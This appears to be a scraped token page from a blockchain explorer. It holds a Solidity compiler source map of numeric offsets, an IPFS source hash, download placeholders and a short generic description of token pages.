11843:10;;11806:47;:::i;2228:130::-;1662:10;;-1:-1:-1;;;;;1662:10:0;159;1662:26;1654:71;;;;-1:-1:-1;;;1654:71:0;;;;;;;:::i;:::-;2302:5:::1;::::0;2296:24:::1;::::0;2317:1:::1;::::0;-1:-1:-1;;;;;2302:5:0::1;::::0;2296:24:::1;::::0;2317:1;;2296:24:::1;2332:5;:18:::0;;-1:-1:-1;;;;;;2332:18:0::1;::::0;;2228:130::o;8278:75::-;1662:10;;-1:-1:-1;;;;;1662:10:0;159;1662:26;1654:71;;;;-1:-1:-1;;;1654:71:0;;;;;;;:::i;:::-;8333:6:::1;:12:::0;;-1:-1:-1;;;;;;8333:12:0::1;-1:-1:-1::0;;;;;8333:12:0;;;::::1;::::0;;;::::1;::::0;;8278:75::o;7947:104::-;8003:13;8036:7;8029:14;;;;;:::i;11890:375::-;159:10;11983:4;12027:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12027:34:0;;;;;;;;;;12080:35;;;;12072:85;;;;-1:-1:-1;;;12072:85:0;;5623:2:1;12072:85:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701:34;5681:18;;;5674:62;-1:-1:-1;;;5752:18:1;;;5745:35;5797:19;;12072:85:0;5421:401:1;12072:85:0;12168:67;159:10;12191:7;12200:34;12219:15;12200:16;:34;:::i;12168:67::-;-1:-1:-1;12253:4:0;;11890:375;-1:-1:-1;;;11890:375:0:o;9703:510::-;9782:4;9803:10;;-1:-1:-1;;;;;9803:10:0;159;9803:26;9802:45;;;;-1:-1:-1;9835:5:0;;;;:11;;:5;:11;9802:45;9799:407;;;9849:42;159:10;9859:12;9873:9;9884:6;9849:9;:42::i;:::-;-1:-1:-1;9893:5:0;:11;;-1:-1:-1;;9893:11:0;;;;9905;;9799:407;9937:10;;-1:-1:-1;;;;;9937:10:0;159;9937:26;9936:46;;;;-1:-1:-1;9969:5:0;;;;:12;9936:46;9933:273;;;9997:12;;:24;;10014:6;9997:16;:24::i;:::-;9984:12;:37;-1:-1:-1;;;;;10043:20:0;;;;;;:9;:20;;;;;;:32;;10068:6;10043:24;:32::i;:::-;-1:-1:-1;;;;;10022:20:0;;;;;;:9;:20;;;;;;;:53;;;;10081:38;;10022:20;;10081:38;;;;10112:6;1391:25:1;;1379:2;1364:18;;1245:177;10081:38:0;;;;;;;;-1:-1:-1;10128:4:0;10121:11;;9933:273;10149:42;159:10;10159:12;79:98;10149:42;-1:-1:-1;10200:4:0;10193:11;;11495:164;1662:10;;-1:-1:-1;;;;;1662:10:0;159;1662:26;1654:71;;;;-1:-1:-1;;;1654:71:0;;;;;;;:::i;:::-;11570:9:::1;11565:81;11589:7;:14;11585:1;:18;11565:81;;;11625:18;11632:7;11640:1;11632:10;;;;;;;;:::i;:::-;;;;;;;11625:6;:18::i;:::-;11605:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11565:81;;;;11495:164:::0;:::o;13806:344::-;-1:-1:-1;;;;;13908:19:0;;13900:68;;;;-1:-1:-1;;;13900:68:0;;6301:2:1;13900:68:0;;;6283:21:1;6340:2;6320:18;;;6313:30;6379:34;6359:18;;;6352:62;-1:-1:-1;;;6430:18:1;;;6423:34;6474:19;;13900:68:0;6099:400:1;13900:68:0;-1:-1:-1;;;;;13987:21:0;;13979:68;;;;-1:-1:-1;;;13979:68:0;;6706:2:1;13979:68:0;;;6688:21:1;6745:2;6725:18;;;6718:30;6784:34;6764:18;;;6757:62;-1:-1:-1;;;6835:18:1;;;6828:32;6877:19;;13979:68:0;6504:398:1;13979:68:0;-1:-1:-1;;;;;14058:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14110:32;;1391:25:1;;;14110:32:0;;1364:18:1;14110:32:0;;;;;;;13806:344;;;:::o;12271:811::-;-1:-1:-1;;;;;12377:20:0;;12369:70;;;;-1:-1:-1;;;12369:70:0;;7109:2:1;12369:70:0;;;7091:21:1;7148:2;7128:18;;;7121:30;7187:34;7167:18;;;7160:62;-1:-1:-1;;;7238:18:1;;;7231:35;7283:19;;12369:70:0;6907:401:1;12369:70:0;-1:-1:-1;;;;;12458:23:0;;12450:71;;;;-1:-1:-1;;;12450:71:0;;7515:2:1;12450:71:0;;;7497:21:1;7554:2;7534:18;;;7527:30;7593:34;7573:18;;;7566:62;-1:-1:-1;;;7644:18:1;;;7637:33;7687:19;;12450:71:0;7313:399:1;12450:71:0;12552:6;;-1:-1:-1;;;;;12539:19:0;;;12552:6;;12539:19;12535:63;;;-1:-1:-1;;;;;12579:15:0;;;;;;:7;:15;;;;;;;;12571:24;;;;;;-1:-1:-1;;;;;12632:17:0;;12608:21;12632:17;;;:9;:17;;;;;;12668:23;;;;12660:74;;;;-1:-1:-1;;;12660:74:0;;7919:2:1;12660:74:0;;;7901:21:1;7958:2;7938:18;;;7931:30;7997:34;7977:18;;;7970:62;-1:-1:-1;;;8048:18:1;;;8041:36;8094:19;;12660:74:0;7717:402:1;12660:74:0;12765:22;12781:6;12765:13;:22;:::i;:::-;-1:-1:-1;;;;;12745:17:0;;;;;;;:9;:17;;;;;;:42;;;;12798:20;;;;;;;;:30;;12822:6;;12745:17;12798:30;;12822:6;;12798:30;:::i;:::-;;;;;;;;12861:9;-1:-1:-1;;;;;12844:35:0;12853:6;-1:-1:-1;;;;;12844:35:0;;12872:6;12844:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;12844:35:0;;;;;;;;12358:724;12271:811;;;:::o;4032:181::-;4090:7;;4122:5;4126:1;4122;:5;:::i;:::-;4110:17;;4151:1;4146;:6;;4138:46;;;;-1:-1:-1;;;4138:46:0;;8326:2:1;4138:46:0;;;8308:21:1;8365:2;8345:18;;;8338:30;8404:29;8384:18;;;8377:57;8451:18;;4138:46:0;8124:351:1;4138:46:0;4204:1;4032:181;-1:-1:-1;;;4032:181:0:o;11345:90::-;1662:10;;-1:-1:-1;;;;;1662:10:0;159;1662:26;1654:71;;;;-1:-1:-1;;;1654:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11405:15:0::1;;::::0;;;:7:::1;:15;::::0;;;;:22;;-1:-1:-1;;11405:22:0::1;11423:4;11405:22;::::0;;11345:90::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;2348:127::-;2409:10;2404:3;2400:20;2397:1;2390:31;2440:4;2437:1;2430:15;2464:4;2461:1;2454:15;2480:1121;2564:6;2595:2;2638;2626:9;2617:7;2613:23;2609:32;2606:52;;;2654:1;2651;2644:12;2606:52;2694:9;2681:23;2723:18;2764:2;2756:6;2753:14;2750:34;;;2780:1;2777;2770:12;2750:34;2818:6;2807:9;2803:22;2793:32;;2863:7;2856:4;2852:2;2848:13;2844:27;2834:55;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2943:2;2939;2936:10;2933:36;;;2949:18;;:::i;:::-;2995:2;2992:1;2988:10;3027:2;3021:9;3090:2;3086:7;3081:2;3077;3073:11;3069:25;3061:6;3057:38;3145:6;3133:10;3130:22;3125:2;3113:10;3110:18;3107:46;3104:72;;;3156:18;;:::i;:::-;3192:2;3185:22;3242:18;;;3276:15;;;;-1:-1:-1;3318:11:1;;;3314:20;;;3346:19;;;3343:39;;;3378:1;3375;3368:12;3343:39;3402:11;;;;3422:148;3438:6;3433:3;3430:15;3422:148;;;3504:23;3523:3;3504:23;:::i;:::-;3492:36;;3455:12;;;;3548;;;;3422:148;;;3589:6;2480:1121;-1:-1:-1;;;;;;;;2480:1121:1:o;3606:260::-;3674:6;3682;3735:2;3723:9;3714:7;3710:23;3706:32;3703:52;;;3751:1;3748;3741:12;3703:52;3774:29;3793:9;3774:29;:::i;:::-;3764:39;;3822:38;3856:2;3845:9;3841:18;3822:38;:::i;:::-;3812:48;;3606:260;;;;;:::o;3871:380::-;3950:1;3946:12;;;;3993;;;4014:61;;4068:4;4060:6;4056:17;4046:27;;4014:61;4121:2;4113:6;4110:14;4090:18;4087:38;4084:161;;;4167:10;4162:3;4158:20;4155:1;4148:31;4202:4;4199:1;4192:15;4230:4;4227:1;4220:15;4084:161;;3871:380;;;:::o;4665:127::-;4726:10;4721:3;4717:20;4714:1;4707:31;4757:4;4754:1;4747:15;4781:4;4778:1;4771:15;4797:125;4837:4;4865:1;4862;4859:8;4856:34;;;4870:18;;:::i;:::-;-1:-1:-1;4907:9:1;;4797:125::o;4927:128::-;4967:3;4998:1;4994:6;4991:1;4988:13;4985:39;;;5004:18;;:::i;:::-;-1:-1:-1;5040:9:1;;4927:128::o;5060:356::-;5262:2;5244:21;;;5281:18;;;5274:30;5340:34;5335:2;5320:18;;5313:62;5407:2;5392:18;;5060:356::o;5827:127::-;5888:10;5883:3;5879:20;5876:1;5869:31;5919:4;5916:1;5909:15;5943:4;5940:1;5933:15;5959:135;5998:3;-1:-1:-1;;6019:17:1;;6016:43;;;6039:18;;:::i;:::-;-1:-1:-1;6086:1:1;6075:13;;5959:135::o
Swarm Source
ipfs://b740f96a746ce7efcd7bb064254b8e745e483e3520dd13bffd3aaec7ec2bebaf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.